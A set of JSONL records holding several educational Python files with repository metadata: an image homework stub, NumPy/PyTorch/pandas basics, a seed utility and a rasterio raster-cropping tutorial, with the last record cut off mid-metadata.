{"text": "import cv2\nimport numpy as np\n\n\ndef find_road_number(image: np.ndarray) -> int:\n    \"\"\"\n    \u041d\u0430\u0439\u0442\u0438 \u043d\u043e\u043c\u0435\u0440 \u0434\u043e\u0440\u043e\u0433\u0438, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u0442 \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0432\u0438\u044f \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0443\u0442\u0438.\n\n    :param image: \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0435 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\n    :return: \u043d\u043e\u043c\u0435\u0440 \u0434\u043e\u0440\u043e\u0433\u0438, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043d\u0435\u0442 \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0432\u0438\u044f \u043d\u0430 \u0434\u043e\u0440\u043e\u0433\u0435\n    \"\"\"\n    road_number = None\n    # \u0412\u0430\u0448 \u043a\u043e\u0434 \u0442\u0443\u0442\n    pass\n    # \u0412\u0430\u0448 \u043a\u043e\u0434 \u0442\u0443\u0442\n\n    return road_number\n", "meta": {"hexsha": "ed65397bd5bcd4572f3df704795f070e17609aa3", "size": 355, "ext": "py", "lang": "Python", "max_stars_repo_path": "week_01_images/homework/task_2.py", "max_stars_repo_name": "rualvi/cv_mipt_minor", "max_stars_repo_head_hexsha": "de9a5d6d47f902011d73cf8cb26a25abcb98f855", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 5, "max_stars_repo_stars_event_min_datetime": "2020-09-26T15:54:02.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-14T16:48:57.000Z", "max_issues_repo_path": "week_01_images/homework/task_2.py", "max_issues_repo_name": "rualvi/cv_mipt_minor", "max_issues_repo_head_hexsha": "de9a5d6d47f902011d73cf8cb26a25abcb98f855", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "week_01_images/homework/task_2.py", "max_forks_repo_name": "rualvi/cv_mipt_minor", "max_forks_repo_head_hexsha": "de9a5d6d47f902011d73cf8cb26a25abcb98f855", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 14, "max_forks_repo_forks_event_min_datetime": "2020-09-26T15:55:26.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-14T16:42:46.000Z", "avg_line_length": 19.7222222222, "max_line_length": 63, "alphanum_fraction": 0.6704225352, "include": true, "reason": "import numpy", "num_tokens": 123, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48047867804790706, "lm_q2_score": 0.12940272487671914, "lm_q1q2_score": 0.062175250184563026}}
{"text": "import numpy as np     #the Numpy library\nimport matplotlib.pyplot as pyplot   #Matplotlibs pyplot\n\nimport sys      #give access to a c-like sys library\nimport os       #give access to operating sys\n\n\nprint(sys.argv)    #prints any command line arguments, incl program name\nprint(os.getcwd()) #print the current working directory ", "meta": {"hexsha": "5ccc5a665fc4723e0ae6540f8eaeba9f9b1d4221", "size": 330, "ext": "py", "lang": "Python", "max_stars_repo_path": "useful_modules.py", "max_stars_repo_name": "xlesaux/astr-119-hw-2", "max_stars_repo_head_hexsha": "3fea869a040a06bbf1a580bd7c6db20496f66d64", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "useful_modules.py", "max_issues_repo_name": "xlesaux/astr-119-hw-2", "max_issues_repo_head_hexsha": "3fea869a040a06bbf1a580bd7c6db20496f66d64", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-10-13T22:48:56.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-15T18:14:20.000Z", "max_forks_repo_path": "useful_modules.py", "max_forks_repo_name": "xlesaux/astr-119-hw-2", "max_forks_repo_head_hexsha": "3fea869a040a06bbf1a580bd7c6db20496f66d64", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.6666666667, "max_line_length": 72, "alphanum_fraction": 0.7454545455, "include": true, "reason": "import numpy", "num_tokens": 73, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.40356685373537454, "lm_q2_score": 0.1540575665754383, "lm_q1q2_score": 0.062172527436977626}}
{"text": "# %% [markdown]\n# [![Open In Colab](https://colab.research.google.com/assets/colab-badge.svg)](https://colab.research.google.com/github/jun-hyeok/SUP5001-41_Deep-Neural-Networks_2022Spring/blob/main/DNN_HW4/pt_1.ipynb)\n\n# %% [markdown]\n# # DNN HW4 : Part 1\n#\n# 2022.03.16\n# \ubc15\uc900\ud601\n\n# %%\nfrom util import *\n\n# %% [markdown]\n# ## Part 1: Python\n\n# %% [markdown]\n# ### 1-1. Python: List\n\n# %%\nprint(\"1-1\", color=GRAY)\n\n# define\nlist1 = [1, 2, 3]\n\n# index\nprint(f\"{type(list1) = }\")\nprint(f\"{list1[0], list1[-1] = }\")\n\n# element\nlist1[1] = \"str1\"\nprint(f\"{list1[1] = }\")\n\n# range\nlist2 = range(10)\nprint(f\"{type(list2) = }\")\n\n# type cast\nlist2 = list(list2)\nprint(f\"{type(list2) = }\")\n\n# %% [markdown]\n# ### 1-2. Python: List\n\n# %%\nprint(\"1-2\", color=GRAY)\n\n# slice range\nprint(f\"{list2[2:4] = }\")\n\n# slice from # to end\nprint(f\"{list2[2:] = }\")\n\n# slice from start to #\nprint(f\"{list2[:2] = }\")\n\n# slice all (from start to end)\nprint(f\"{list2[:] = }\")\n\n# slice step\nprint(f\"{list2[::2] = }\")\n\n# slice neg index\nprint(f\"{list2[:-1] = }\")\n\n# assign new list to sliced list\nprint()\nprint(f\"{list2 = } : before\")\nlist2[2:4] = [8, 9]\nprint(\"list2[2:4] = [8, 9]\", color=GRAY, input=True)\nprint(f\"{list2 = } : after\")\n\nprint()\nprint(f\"{list2 = } : before\")\nlist2[2:5] = [8, 9]\nprint(\"list2[2:4] = [8, 9]\", color=GRAY, input=True)\nprint(f\"{list2 = } : after\")\n\n# %% [markdown]\n# ### 1-3. Python: For Loop with List\n\n# %%\nprint(\"1-3\", color=GRAY)\n\n# define animals list\nanimals = [\"cat\", \"dog\", \"monkey\"]\n\n# print for loop\nfor animal in animals:\n    print(f\"{animal = }\")\nprint()\n\n# define nums list\nnums = [0, 1, 2, 3, 4]\n# empty list\nsquares = []\n\n# calculate square of nums\nfor num in nums:\n    squares.append(num**2)\nprint(f\"{squares = }\")\n\n# %% [markdown]\n# ### 1-4. Python: Function\n\n# %%\nprint(\"1-4\", color=GRAY)\n\n# define function sign(x)\ndef sign(x):\n    if x > 0:\n        return \"positive\"\n    elif x < 0:\n        return \"negative\"\n    else:\n        return \"zero\"\n\n\n# print sign of [-1, 0, 1]\nfor x in [-1, 0, 1]:\n    print(f\"{x = :2}, {sign(x) = }\")\n\n# %% [markdown]\n# ### 1-5. Python: Function\n\n# %%\nprint(\"1-5\", color=GRAY)\n\n# define function hello(name, loud=False)\ndef hello(name, loud=False):\n    if loud:\n        print(f\"HELLO, {name.upper()}!\")\n    else:\n        print(f\"Hello, {name}!\")\n\n\n# hello loud default\nprint(\"hello('Bob')\", color=GRAY, input=True)\nhello(\"Bob\")\n\n# hello loud\nprint(\"hello('Fred', loud=True)\", color=GRAY, input=True)\nhello(\"Fred\", loud=True)\n\n# %% [markdown]\n# ### 1-6. Python: zip\n\n# %%\nprint(\"1-6\", color=GRAY)\n\n# print 1 4 7  / 2 5 8 / 3 6 9\nfor x, y, z in zip(range(1, 4), range(4, 7), range(7, 10)):\n    print(f\"{x, y, z = }\")\nprint()\n\n# error\ntry:\n    for x, y in zip(range(1, 4), range(4, 7), range(7, 10)):\n        print(f\"{x, y, z = }\")\nexcept Exception as e:\n    print(f\"x, y, z = {type(e).__name__}: {e}\", color=RED)\n\n# %% [markdown]\n# ### 1-7. Python: Magic method \\_\\_init\\_\\_()\n\n# %%\nprint(\"1-7\", color=GRAY)\n\n# define class HelloWorld\nclass HelloWorld:\n    def __init__(self):\n        print(\"init\")\n\n\nprint(\"helloworld = HelloWorld()\", color=GRAY, input=True)\nhelloworld = HelloWorld()\n\n# %% [markdown]\n# ### 1-8. Python: Magic method \\_\\_call\\_\\_()\n\n# %%\nprint(\"1-8\", color=GRAY)\n\n\nclass HelloWorld:\n    def __init__(self):\n        print(\"init\", color=GRAY)\n\n\nprint(\"helloworld = HelloWorld()\", color=GRAY, input=True)\nhelloworld = HelloWorld()\n\n# helloworld is callable?\nprint(f\"{callable(helloworld) = }\")\ntry:\n    print(f\"{helloworld() = }\")\nexcept Exception as e:\n    print(f\"helloworld() = {type(e).__name__}: {e}\", color=RED)\nprint()\n\n\nclass HelloWorld:\n    def __init__(self):\n        print(\"init\", color=GRAY)\n\n    def __call__(self):\n        print(\"Hello world\")\n\n\nprint(\"helloworld = HelloWorld()\", color=GRAY, input=True)\nhelloworld = HelloWorld()\n\nprint(\"helloworld()\", color=GRAY, input=True)\nhelloworld()\n\n# %% [markdown]\n# ## Part 1: NumPy\n\n# %% [markdown]\n# ### NumPy: Install\n\n# %%\ntry:\n    import numpy as np\nexcept ImportError:\n    print(\"numpy is not installed\", color=RED)\n    import pip\n\n    pip.main([\"install\", \"numpy\"])\nelse:\n    print(\"numpy is installed\", color=GREEN)\n\n# %% [markdown]\n# ### 1-9. Numpy: np.array\n\n# %%\nprint(\"1-9\", color=GRAY)\n\nimport numpy as np\n\n# rank 1 array\na = np.array([1, 2, 3])\n\nprint(f\"{type(a) = }\")\nprint(f\"{a.shape = }\")\nprint(f\"{a.ndim = }\")\nprint(f\"{a[0], a[1], a[2] = }\")\nprint()\n\nprint(f\"{a = } : before\")\na[0] = 5\nprint(\"a[0] = 5\", color=GRAY, input=True)\nprint(f\"{a = } : after\")\nprint()\n\n# rank 2 array\nb = np.array([[1, 2, 3], [4, 5, 6]])\n\n\nprint(f\"{b.shape = }\")\nprint(f\"{b.ndim = }\")\nprint(f\"{b[0, 0], b[0, 1], b[0, 2] = }\")\n\n# %% [markdown]\n# ### 1-10. Numpy: np.zeros, np.ones, np.full, np.eye, np.random\n\n# %%\nprint(\"1-10\", color=GRAY)\n\nimport numpy as np\n\n# array with all zeros\na = np.zeros((2, 2))\nprint(f\"{a = }\")\n\n# array with all ones\nb = np.ones((1, 2))\nprint(f\"{b = }\")\n\n# array with the specific value\nc = np.full((2, 2), 7)\nprint(f\"{c = }\")\n\n# 2x2 identity matrix\nd = np.eye(2)\nprint(f\"{d = }\")\n\n# array with random values\ne = np.random.random((2, 2))\nprint(f\"{e = }\")\n\n# %% [markdown]\n# ### 1-11. Numpy: np.where\n\n# %%\nprint(\"1-11\", color=GRAY)\n\nimport numpy as np\n\n# array with 0 to 9\na = np.arange(10)\n\n# np.where(condition)\nprint(f\"{np.where(a < 5) = }\")\n\n# np.where(condition, x, y)\nprint(f\"{np.where(a < 5, a, 10 * a) = }\")\n\n# np.where(condition, x, y)\nprint(f\"{np.where(a < 4, a, -1) = }\")\n\n# %% [markdown]\n# ### 1-12. Numpy: Array slice\n\n# %%\nprint(\"1-12\", color=GRAY)\n\nimport numpy as np\n\n# 3x4 array\na = np.array([[1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12]])\n\n# slice the array a, the first 2 rows and column 1, 2\n# shape of sub-array is (2, 2)\nb = a[:2, 1:3]\n\n# sub-array refer to the same array as original array, so\n# change the sub-array will change the original array as well\n# b[0, 0] == a[0, 1]\nprint(f\"{b[0,0] == a[0,1] = }\", color=GRAY)\nprint(f\"{a[0, 1] = } : before\")\nb[0, 0] = 77\nprint(\"b[0, 0] = 77\", color=GRAY, input=True)\nprint(f\"{a[0, 1] = } : after\")\n\n# %% [markdown]\n# ### 1-13. Numpy: Array reshape\n\n# %%\nprint(\"1-13\", color=GRAY)\n\nimport numpy as np\n\n# 3x4 array\na = np.array([[1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12]])\n\n# reshape the array a to be a 2x6 array\nb = np.reshape(a, (2, 6))\nprint(f\"{b = }\")\n\n# reshape also refer to the same array as original array, so\n# change the reshaped-array will change the original array as well\n# b[0, 0] == a[0, 0]\nprint(f\"{b[0,0] == a[0,0] = }\", color=GRAY)\nprint(f\"{a[0, 0] = } : before\")\nb[0, 0] = 77\nprint(\"b[0, 0] = 77\", color=GRAY, input=True)\nprint(f\"{a[0, 0] = } : after\")\n\n# %% [markdown]\n# ### 1-14. Numpy: Array reshape\n\n# %%\nprint(\"1-14\", color=GRAY)\n\nimport numpy as np\n\n# 2 arrays with shape (2, 2)\na = np.array([[1, 0], [0, 1]])\nprint(f\"{a = }\", color=GRAY, input=True)\nb = np.array([[4, 1], [2, 2]])\nprint(f\"{b = }\", color=GRAY, input=True)\n\n# dot product of a and b\nprint(f\"{np.dot(a, b) = }\")\n\n# %% [markdown]\n# ## Part 1: Pytorch\n\n# %% [markdown]\n# ### Pytorch: Install\n\n# %%\ntry:\n    import torch\nexcept ImportError:\n    print(\"torch is not installed\", color=RED)\n    import pip\n\n    pip.main([\"install\", \"torch\"])\nelse:\n    print(\"torch is installed\", color=GREEN)\n\n# %% [markdown]\n# ### 1-15. Pytorch: Tensor\n\n# %%\nprint(\"1-15\", color=GRAY)\n\nimport numpy as np\nimport torch\n\n# float type tensor\nt1 = torch.FloatTensor([0, 1, 2, 3, 4, 5, 6])\nt2 = torch.tensor(np.arange(7))\n\nprint(f\"{t1.shape = }\")\nprint(f\"{t2.shape = }\")\nprint(f\"{t1.dim() = }\")\nprint(f\"{t1.size() = }\")\nprint(f\"{t1[:2] = }\")\nprint(f\"{t1[3:] = }\")\n\n# %% [markdown]\n# ### 1-16. Pytorch: NumPy array vs PyTorch tensor\n\n# %%\nprint(\"1-16\", color=GRAY)\n\nimport numpy as np\nimport torch\n\nb = np.arange(7)\nt1 = torch.FloatTensor([0, 1, 2, 3, 4, 5, 6])\nprint(f\"{b = }\")\nprint(f\"{t1 = }\")\nprint(f\"{type(b) = }\")\nprint(f\"{type(t1) = }\")\nprint()\n\n# transform numpy array to torch tensor\ntt = torch.tensor(b)\nt_from = torch.from_numpy(b)\nprint(f\"{tt = }\")\nprint(f\"{t_from = }\")\nprint(f\"{type(tt) = }\")\nprint(f\"{type(t_from) = }\")\n\n# %% [markdown]\n# ### 1-17. Pytorch: NumPy array vs PyTorch tensor\n\n# %%\nprint(\"1-17\", color=GRAY)\n\nprint(f\"{tt = } : before\")\nprint(f\"{t_from = } : before\")\nb[0] = -10\nprint(\"b[0]= -10\", color=GRAY, input=True)\nprint(f\"{tt = } : after\")\nprint(f\"{t_from = }: after\")\nprint()\n\n# transform torch tensor to numpy array\nt_to_np = t_from.numpy()\nprint(f\"{t_to_np = }\")\nprint(f\"{type(t_to_np) = }\")\n\n# %% [markdown]\n# ### 1-18. Pytorch: Broadcasting\n\n# %%\nprint(\"1-18\", color=GRAY)\n\nimport numpy as np\nimport torch\n\n# addition of two tensors\nm1 = torch.FloatTensor([[3, 3]])\nprint(f\"{m1 = }\", color=GRAY, input=True)\nm2 = torch.FloatTensor([[2, 2]])\nprint(f\"{m2 = }\", color=GRAY, input=True)\nprint(f\"{m1 + m2 = }\")\n\n# vector + scalar\nm1 = torch.FloatTensor([[1, 2]])\nprint(f\"{m1 = }\", color=GRAY, input=True)\nm2 = torch.FloatTensor([3])\nprint(f\"{m2 = }\", color=GRAY, input=True)\nprint(f\"{m1 + m2 = }\")\n\n# 2x1 vector + 1x2 vector\nm1 = torch.FloatTensor([[1, 2]])\nprint(f\"{m1 = }\", color=GRAY, input=True)\nm2 = torch.FloatTensor([[3], [4]])\nprint(f\"{m2 = }\", color=GRAY, input=True)\nprint(f\"{m1 + m2 = }\")\n\n# %% [markdown]\n# ### 1-19. Pytorch: torch.mul vs torch.matmul\n\n# %%\nprint(\"1-19\", color=GRAY)\n\nm1 = torch.FloatTensor([[1, 2], [3, 4]])\nprint(f\"{m1 = }\", color=GRAY, input=True)\nm2 = torch.FloatTensor([[1], [2]])\nprint(f\"{m2 = }\", color=GRAY, input=True)\nprint(f\"{m1 * m2 = }\")\nprint(f\"{m1.mul(m2) = }\")\nprint(f\"{m1.matmul(m2) = }\")\n\n# %% [markdown]\n# ### 1-20. Pytorch: torch.view (np.reshape in PyTorch)\n\n# %%\nprint(\"1-20\", color=GRAY)\n\nimport numpy as np\nimport torch\n\nt = np.arange(12).reshape(-1, 2, 3)\nfloatT = torch.FloatTensor(t)\n\nprint(f\"{floatT.shape = }\")\nprint(f\"{floatT.view([-1, 3]) = }\")\n", "meta": {"hexsha": "e70d22ead9c171975d598634816dd5790573a448", "size": 9708, "ext": "py", "lang": "Python", "max_stars_repo_path": "DNN_HW4/pt_1.py", "max_stars_repo_name": "jun-hyeok/SUP5001-41_Deep-Neural-Networks_2022Spring", "max_stars_repo_head_hexsha": "95bc0f3a7042debbc388c76d9bd43ad24aba2c88", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "DNN_HW4/pt_1.py", "max_issues_repo_name": "jun-hyeok/SUP5001-41_Deep-Neural-Networks_2022Spring", "max_issues_repo_head_hexsha": "95bc0f3a7042debbc388c76d9bd43ad24aba2c88", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "DNN_HW4/pt_1.py", "max_forks_repo_name": "jun-hyeok/SUP5001-41_Deep-Neural-Networks_2022Spring", "max_forks_repo_head_hexsha": "95bc0f3a7042debbc388c76d9bd43ad24aba2c88", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 18.8504854369, "max_line_length": 202, "alphanum_fraction": 0.5817882159, "include": true, "reason": "import numpy", "num_tokens": 3506, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3451052709578724, "lm_q2_score": 0.18010667288817792, "lm_q1q2_score": 0.062155762148395535}}
{"text": "import numpy as np \nimport torch \nimport os\nimport random\n\n\ndef set_seed(seed = int):\n    '''Sets the seed of the entire notebook so results are the same every time we run.\n    This is for REPRODUCIBILITY.'''\n    np.random.seed(seed)\n    random_state = np.random.RandomState(seed)\n    random.seed(seed)\n    torch.manual_seed(seed)\n    torch.cuda.manual_seed(seed)\n    torch.backends.cudnn.deterministic = True\n    torch.backends.cudnn.benchmark = False\n    os.environ['PYTHONHASHSEED'] = str(seed)\n    return random_state", "meta": {"hexsha": "e997e47e25b773360740a36d18037a36e9e29a28", "size": 521, "ext": "py", "lang": "Python", "max_stars_repo_path": "tantum/utils/seed.py", "max_stars_repo_name": "dmitryshendryk/tantum", "max_stars_repo_head_hexsha": "afd07e7a52d65338297a4f46d26e5241d3e756dc", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tantum/utils/seed.py", "max_issues_repo_name": "dmitryshendryk/tantum", "max_issues_repo_head_hexsha": "afd07e7a52d65338297a4f46d26e5241d3e756dc", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tantum/utils/seed.py", "max_forks_repo_name": "dmitryshendryk/tantum", "max_forks_repo_head_hexsha": "afd07e7a52d65338297a4f46d26e5241d3e756dc", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.9444444444, "max_line_length": 86, "alphanum_fraction": 0.7197696737, "include": true, "reason": "import numpy", "num_tokens": 124, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.13477592437353622, "lm_q1q2_score": 0.06213396258352792}}
{"text": "import numpy as np\r\nimport pandas as pd\r\nfrom pandas import Series,DataFrame\r\n\r\ns1=Series([10,20,30,40],index=['A','B','C','D'])\r\nprint(s1)\r\n\r\nindex1=s1.index\r\nprint(index1)\r\n\r\n#index operations\r\nprint(index1[2])\r\nprint(index1[2:])\r\n\r\n#negative indexes\r\nprint(index1[-2:]) #ignores the first 2 elemnts and prints the rest\r\nprint(index1[:-2]) #ignores the last 2 elemnts and prints the rest\r\n\r\n#range of indexes\r\nprint(index1[1:4])\r\n\r\n#interesting\r\n\r\n#index1[0]='a'  #index cannot be changed using =  operator\r\n#print(index1)", "meta": {"hexsha": "dd1ff5909d95e0c184313d670dd59ccf5fef00ac", "size": 524, "ext": "py", "lang": "Python", "max_stars_repo_path": "Working with Numpy/index_obj.py", "max_stars_repo_name": "zack28/TakenMind-Internship", "max_stars_repo_head_hexsha": "7fb7c1c0b255ee233f18fd9ab4fa76a9b2c992d7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2019-07-05T22:28:21.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-08T12:45:15.000Z", "max_issues_repo_path": "Working with Numpy/index_obj.py", "max_issues_repo_name": "zack28/TakenMind-Internship", "max_issues_repo_head_hexsha": "7fb7c1c0b255ee233f18fd9ab4fa76a9b2c992d7", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Working with Numpy/index_obj.py", "max_forks_repo_name": "zack28/TakenMind-Internship", "max_forks_repo_head_hexsha": "7fb7c1c0b255ee233f18fd9ab4fa76a9b2c992d7", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 5, "max_forks_repo_forks_event_min_datetime": "2020-07-23T18:15:33.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-14T14:34:40.000Z", "avg_line_length": 20.96, "max_line_length": 68, "alphanum_fraction": 0.6927480916, "include": true, "reason": "import numpy", "num_tokens": 152, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4610167793123159, "lm_q2_score": 0.13477591742295678, "lm_q1q2_score": 0.06213395937919417}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.5'\n#       jupytext_version: 1.13.8\n#   kernelspec:\n#     display_name: Python 3 (ipykernel)\n#     language: python\n#     name: python3\n# ---\n\n# # Raster-vector interactions {#raster-vector}\n#\n# ## Prerequisites\n\n#| echo: false\nimport pandas as pd\nimport matplotlib.pyplot as plt\npd.options.display.max_rows = 6\npd.options.display.max_columns = 6\npd.options.display.max_colwidth = 35\nplt.rcParams[\"figure.figsize\"] = (5, 5)\n\n# Let's import the required packages:\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport geopandas as gpd\nimport rasterio\nimport rasterio.mask\nfrom rasterio.plot import show\n\n# and load the sample data:\n\nsrc_srtm = rasterio.open(\"data/srtm.tif\")\nzion = gpd.read_file(\"data/zion.gpkg\")\nzion_points = gpd.read_file(\"data/zion_points.gpkg\")\n\n# ## Introduction\n#\n# ## Raster cropping\n#\n# Many geographic data projects involve integrating data from many different sources, such as remote sensing images (rasters) and administrative boundaries (vectors). Often the extent of input raster datasets is larger than the area of interest. In this case raster **cropping** and **masking** are useful for unifying the spatial extent of input data. Both operations reduce object memory use and associated computational resources for subsequent analysis steps, and may be a necessary preprocessing step before creating attractive maps involving raster data.\n#\n# We will use two objects to illustrate raster cropping:\n#\n# * The `srtm.tif` raster representing elevation (meters above sea level) in south-western Utah\n# * The `zion.gpkg` vector layer representing the Zion National Park\n#\n# Both target and cropping objects must have the same projection. The following reprojects the vector layer `zion` into the CRS of the raster `src_srtm`:\n\nzion = zion.to_crs(src_srtm.crs)\n\n# To mask the image, i.e., convert all pixels which do not intersect with the `zion` polygon to \"No Data\", we use the `rasterio.mask.mask` function as follows:\n\nout_image_mask, out_transform_mask = rasterio.mask.mask(\n    src_srtm, \n    zion[\"geometry\"], \n    crop=False, \n    nodata=9999\n)\n\n# Note that we need to specify a \"No Data\" value in agreement with the raster data type. Since `srtm.tif` is of type `uint16`, we choose `9999` (a positive integer that is guaranteed not to occur in the raster). \n#\n# The result is the `out_image` array with the masked values: \n\nout_image_mask\n\n# and the new `out_transform`:\n\nout_transform_mask\n\n# Note that masking (without cropping!) does not modify the raster spatial configuration. Therefore, the new transform is identical to the original:\n\nsrc_srtm.transform\n\n# Unfortunately, the `out_image` and `out_transform` object do not contain any information indicating that `9999` represents \"No Data\". To associate the information with the raster, we must write it to file along with the corresponding metadata. For example, to write the cropped raster to file, we need to modify the \"No Data\" setting in the metadata:\n\nout_meta = src_srtm.meta\nout_meta.update(nodata=9999)\nout_meta\n\n# Then we can write the cropped raster to file:\n\nnew_dataset = rasterio.open(\"output/srtm_masked.tif\", \"w\", **out_meta)\nnew_dataset.write(out_image_mask)\nnew_dataset.close()\n\n# Now we can re-import the raster:\n\nsrc_srtm_mask = rasterio.open(\"output/srtm_masked.tif\")\n\n# The `.meta` property contains the `nodata` entry. Now, any relevant operation (such as plotting) will take \"No Data\" into account:\n\nsrc_srtm_mask.meta\n\n# Cropping means reducing the raster extent to the extent of the vector layer:\n#\n# * To crop *and* mask, we can use the same in `rasterio.mask.mask` expression shown above for masking, just setting `crop=True` instead of `crop=False`. \n# * To just crop, *without* masking, we can derive the extent polygon and then crop using it.\n#\n# For example, here is how we can obtain the extent polygon of `zion`, as a `shapely` geometry object:\n\nbb = zion.unary_union.envelope\nbb\n\n# The extent can now be used for masking. Here, we are also using the `all_touched=True` option so that pixels partially overlapping with the extent are included:\n\nout_image_crop, out_transform_crop = rasterio.mask.mask(\n    src_srtm, \n    [bb], \n    crop=True, \n    all_touched=True, \n    nodata=9999\n)\n\n# Figure ... shows the original raster, and the cropped and masked results.\n\nfig, axes = plt.subplots(ncols=3, figsize=(9,5))\nshow(src_srtm, ax=axes[0])\nzion.plot(ax=axes[0], color=\"none\", edgecolor=\"black\")\nshow(src_srtm_mask, ax=axes[1])\nzion.plot(ax=axes[1], color=\"none\", edgecolor=\"black\")\nshow(out_image_crop, transform=out_transform_crop, ax=axes[2])\nzion.plot(ax=axes[2], color=\"none\", edgecolor=\"black\")\naxes[0].set_title(\"Original\")\naxes[1].set_title(\"Mask\")\naxes[2].set_title(\"Crop\");\n\n# ## Raster extraction\n#\n# From points...\n#\n# From line...\n#\n# From polygon (srtm)...\n#\n# From polygon (nlcd)...\n#\n# ## Rasterization\n#\n# ...\n#\n# ## Spatial vectorization\n#\n# Spatial vectorization is the counterpart of rasterization (Section ...), but in the opposite direction. It involves converting spatially continuous raster data into spatially discrete vector data such as points, lines or polygons.\n#\n# There are three standard methods to convert a raster to a vector layer:\n#\n# * Raster to polygons\n# * Raster to points\n# * Raster to contours\n#\n# The most straightforward form of vectorization is the first one, converting raster cells to polygons, where each pixel is represented by a rectangular polygon. The second method, raster to points, has the additional step of calculating polygon centroids. The third method, raster to contours, is somewhat unrelated. Let us demonstrate the three in the given order.\n\nsrc = rasterio.open(\"data/grain.tif\")\n\n# To polygons... ...\n#\n#\n# FIGURE 6.9: Illustration of vectorization of raster (left) into polygons (dissolve = FALSE; center) and aggregated polygons (dissolve = TRUE; right). \n\nsrc = rasterio.open(\"data/elev.tif\")\n\n# To points...\n\nsrc = rasterio.open(\"data/elev.tif\")\n\n# To contours...\n#\n# ...\n#\n# Another common type of spatial vectorization is the creation of contour lines representing lines of continuous height or temperatures (isotherms) for example. We will use a real-world digital elevation model (DEM) because the artificial raster elev produces parallel lines (task for the reader: verify this and explain why this happens). Contour lines can be created with the terra function as.contour(), which is itself a wrapper around filled.contour(), as demonstrated below (not shown):\n#\n# Contours can also be added to existing plots with functions such as contour(), rasterVis::contourplot() or tmap::tm_iso(). As illustrated in Figure 6.8, isolines can be labelled.\n#\n# The final type of vectorization involves conversion of rasters to polygons. This can be done with terra::as.polygons(), which converts each raster cell into a polygon consisting of five coordinates, all of which are stored in memory (explaining why rasters are often fast compared with vectors!).\n#\n# This is illustrated below by converting the grain object into polygons and subsequently dissolving borders between polygons with the same attribute values (also see the dissolve argument in as.polygons()).\n#\n#\n#\n# ## Exercises\n#\n", "meta": {"hexsha": "197aa6c8d966d2d44b8aadbb59d2d2cdc6b66faa", "size": 7318, "ext": "py", "lang": "Python", "max_stars_repo_path": "code/chapters/06-raster-vector.py", "max_stars_repo_name": "geocompr/pytest", "max_stars_repo_head_hexsha": "fea416c99ddd47961ae36c3f8cfecfaa792eb778", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-02-17T13:32:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-17T13:32:58.000Z", "max_issues_repo_path": "code/chapters/06-raster-vector.py", "max_issues_repo_name": "geocompr/pytest", "max_issues_repo_head_hexsha": "fea416c99ddd47961ae36c3f8cfecfaa792eb778", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": 6, "max_issues_repo_issues_event_min_datetime": "2022-01-13T21:20:06.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-17T19:45:31.000Z", "max_forks_repo_path": 